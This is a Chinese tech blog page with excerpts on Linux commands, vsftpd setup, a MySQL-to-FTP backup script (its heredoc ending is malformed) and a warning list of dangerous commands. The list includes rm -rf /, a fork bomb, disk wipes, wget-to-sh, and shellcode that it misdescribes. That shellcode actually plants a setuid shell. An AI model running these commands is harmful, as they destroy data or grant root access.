Linux常用命令大全

系统信息 

arch #显示机器的处理器架构(1) 
uname -m #显示机器的处理器架构(2) 
uname -r #显示正在使用的内核版本 
dmidecode -q #显示硬件系统部件 - (SMBIOS / DMI) 
hdparm -i /dev/hda #罗列一个磁盘的架构特性 
hdparm -tT /dev/sda #在磁盘上执行测试性读取操作 
cat /proc/cpuinfo #显示CPU info的信息 
cat /proc/interrupts #显示中断 
cat /proc/meminfo #校验内存使用 
cat /proc/swaps #显示哪些swap被使用 
cat /proc/version #显示内核的版本 
cat /proc/net/dev #显示网络适配器及统计 
cat /proc/mounts #显示已加载的文件系统 
lspci -tv #罗列 PCI 设备 
lsusb -tv #显示 USB 设备 
date #显示系统日期 
cal 2007 #显示2007年的日历表 
date 041217002007.00 #设置日期和时间 - 月日时分年.秒 
clock -w #将时间修改保存到 BIOS 

关机 (系统的关机、重启以及登出 ) 

shutdown -h now #关闭系统(1) 
init 0 #关闭系统(2) 
telinit 0 #关闭系统(3) 
shutdown -h hours:minutes #按预定时间关闭系统 
shutdown -c #取消按预定时间关闭系统 
shutdown -r now #重启(1) 
reboot #重启(2) 
logout #注销 

文件和目录

cd /home #进入 '/ home' 目录' 
cd .. #返回上一级目录 
cd ../.. #返回上两级目录 
cd #进入个人的主目录 
cd ~user1 #进入个人的主目录 
cd - #返回上次所在的目录 
pwd #显示工作路径 
ls #查看目录中的文件 
ls -F #查看目录中的文件 
ls -l #显示文件和目录的详细资料 
ls -a #显示隐藏文件 
ls *[0-9]* #显示包含数字的文件名和目录名 
tree #显示文件和目录由根目录开始的树形结构(1) 
lstree #显示文件和目录由根目录开始的树形结构(2) 
mkdir dir1 #创建一个叫做 'dir1' 的目录' 
mkdir dir1 dir2 #同时创建两个目录 
mkdir -p /tmp/dir1/dir2 #创建一个目录树 
rm -f file1 #删除一个叫做 'file1' 的文件' 
rmdir dir1 #删除一个叫做 'dir1' 的目录' 
rm -rf dir1 #删除一个叫做 'dir1' 的目录并同时删除其内容 
rm -rf dir1 dir2 #同时删除两个目录及它们的内容 
mv dir1 new_dir #重命名/移动 一个目录 
cp file1 file2 #复制一个文件 
cp dir/* #复制一个目录下的所有文件到当前工作目录 
cp -a /tmp/dir1 #复制一个目录到当前工作目录 
cp -a dir1 dir2 #复制一个目录 
ln -s file1 lnk1 #创建一个指向文件或目录的软链接 
ln file1 lnk1 #创建一个指向文件或目录的物理链接 
touch -t 0712250000 file1 #修改一个文件或目录的时间戳 - (YYMMDDhhmm) 
file file1 #outputs the mime type of the file as text 
iconv -l #列出已知的编码 

继续阅读Linux常用命令大全

CentOS6.x基于vsftpd搭建FTP服务器

最近一边忙着FB的ftp,今天又忙着公司的CentOS的ftp,两边搭建,比较乱。vsftpd折腾了我将近一天,期间出了不少问题,一边google一边寻找安全性。

先建一个帐号专门用来ftp操作的一个宿主用户

useradd ftptest -s /sbin/nologin

我建立了一个ftptest用户,密码什么都没有设定,因为我只是在系统内部使用,也不能登录,为什么控制好权限,所以我们还是建立一个单独的用户是十分有必要的。 继续阅读CentOS6.x基于vsftpd搭建FTP服务器

MySQL自动备份并上传到远程FTP服务器脚本

在网上找了很多MySQL备份脚本,但是没有几个令我钟意的,要么出错要么我自己也看不懂。庆幸自己是个码农,shell脚本学习了半个下午,终于写出了一个备份mysql数据库并上传到远程FTP的脚本了,刚学习,不知道写的怎么样,但是功能已经实现了。嘿嘿,来分享给大家。

#!/bin/sh 
#backup for mysql to remote ftp
#author jxcent@gmail.com 2012-12-17 17:30:23

#数据库配置信息
dbname=test
dbuser=root
dbpwd=123456

#ftp配置
ftphost=192.168.1.188
ftpport=21
ftpuser=demo
ftppwd=demo123
#这个就是FTP根目录下的data文件夹,表示就保存在这里
ftpdir=/data
#自定义生成文件名 test_2012-12-17.tar.gz
filename=${dbname}_`date "+%Y-%m-%d"`;
#备份路径,你需要改变它哦~
BackupPath=/usr/home/dbfile
DBbinPath=/usr/local/bin/mysqldump
#执行mysqldump 生成sql文件
${DBbinPath} --opt --extended-insert=false -u${dbuser} -p${dbpwd} ${dbname} > ${BackupPath}"/"${filename}".sql" ;

cd ${BackupPath}
rm -rf *.gz
tar czf ${filename}.tar.gz  ${filename}.sql
rm -rf ${filename}.sql 

#开始连接远程ftp
echo 'open ftp'
ftp -i -in <<!
open ${ftphost} ${ftpport}
user ${ftpuser} ${ftppwd}
cd ${ftpdir}
mput ${filename}.tar.gz
echo 'backup is complete!'
exit
fi

望拍砖~
继续阅读MySQL自动备份并上传到远程FTP服务器脚本

[转]危险,几条可致命的Linux命令!

不管你是Linux老手还是新手,肯定有遇到过执行某条命令后大骂自己“手贱”的经历,因为你误删了数据?Linux可不像Windows还有回收站可以把数据拎回来。因此作为一个Linux系统工程师,在命令行操作下模式时,除了仔细小心外,就是要多积累经验,多看看这些该避免的危险操作,时刻提醒自己。

以下这几条Linux命令或许你执行过,当然也有些看似生僻的操作,但没有关系,以后在查找资料时若是让你执行这些命令,你可要留意了。因为这些操作轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们,最好也别去尝试这些命令。

1. rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。

2. 下面这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

3. mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。

4. :(){ :|:& };: 著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。

5. any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。

6. wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。

7. mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。

src:http://blog.chinaunix.net/uid-28341233-id-3396232.html

FreeBSD 9.0 ports 安装apache+mysql+php过程笔记

虽然说是装了N次的apache、mysql、php运行环境了,没有把他们总结起来,在bsd上面我最喜欢就是ports安装了,当然也有童鞋习惯源码安装,那就看个人喜好了,你要相信负责ports包源的人不是那么烂。什么情况下自己源码安装,诸如编译一些特定的修改过的XX。不说了直接开始。

由于我们在天国,所以我还是十分有必要提醒各位童鞋添加ports天国源吧,省了你很多时间

//请注意这个make.conf文件 如果不存在请自行新建

vi /etc/make.conf

然后在里面写上这句代码 请注意只有两行请勿随意换行(我一直都用freebsdchina.org的源很快,适合天国童鞋使用)

MASTER_SITE_BACKUP?=http://mirrors.163.com/FreeBSD/ports/distfiles/${DIST_SUBDIR}/
MASTER_SITE_OVERRIDE?=${MASTER_SITE_BACKUP}

然后为了我们使用的软件是最新最好的软件,最好进行更新下ports里面的软件版本数据库

portsnap fetch&&portsnap extract&&portsnap update

当你执行这条命令的时候,恭喜你!你现在可以去泡杯茶来慢慢品尝,这个时间估计在10-30分钟左右,具体还要看你的网络条件。好搞定上面的工作之后就开始我们的安装之旅了

1、首先安装Apache

继续阅读FreeBSD 9.0 ports 安装apache+mysql+php过程笔记